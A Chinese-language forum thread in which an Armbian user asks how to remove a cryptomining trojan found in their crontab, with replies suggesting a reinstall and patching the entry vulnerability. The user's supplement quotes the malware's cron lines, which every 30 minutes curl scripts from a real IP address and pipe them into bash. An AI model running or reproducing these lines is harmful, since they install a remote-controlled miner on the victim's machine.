N1 安装 armbian 已经有 2 年了,刚想设置定时任务来着,结果发现里面有一堆我不认识的任务,然后谷歌了一下,说是挖矿木马.请问如何删除呢.
.
谷歌到的信息在这 http://hackernews.cc/archives/33447
This topic created in 2113 days ago, the information mentioned may be changed or developed.
Supplement 1 · Jan 25, 2021
内容如下:
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
 |
alfchinJan 25, 2021 via iPhone
1
建议格了重新装。人工清理不一定能清干净
|
 |
dream7758522Jan 25, 2021 via Android
3
你可以尝试断电，饿死它
|
 |
StephenZSIRJan 25, 2021
4
这种一般都是通过系统或者程序漏洞注入的，单纯清除定时任务是没用的，前两年有台服务器部署了 structs2 应用，存在漏洞，后来升级 structs2，清定时任务，禁 IP，然后就没出现过了
|
 |
5
@dream7758522 我也想啊,但是我看着现在系统负载挺低的.就这么弄着吧.也没啥东西,都是些自己折腾的小玩具
|
|
6
@StephenZSIR 我看负载,没发现有什么异常进程.如果只能重装的话,我看我也懒得折腾了￣□￣｜｜.
|
Select Language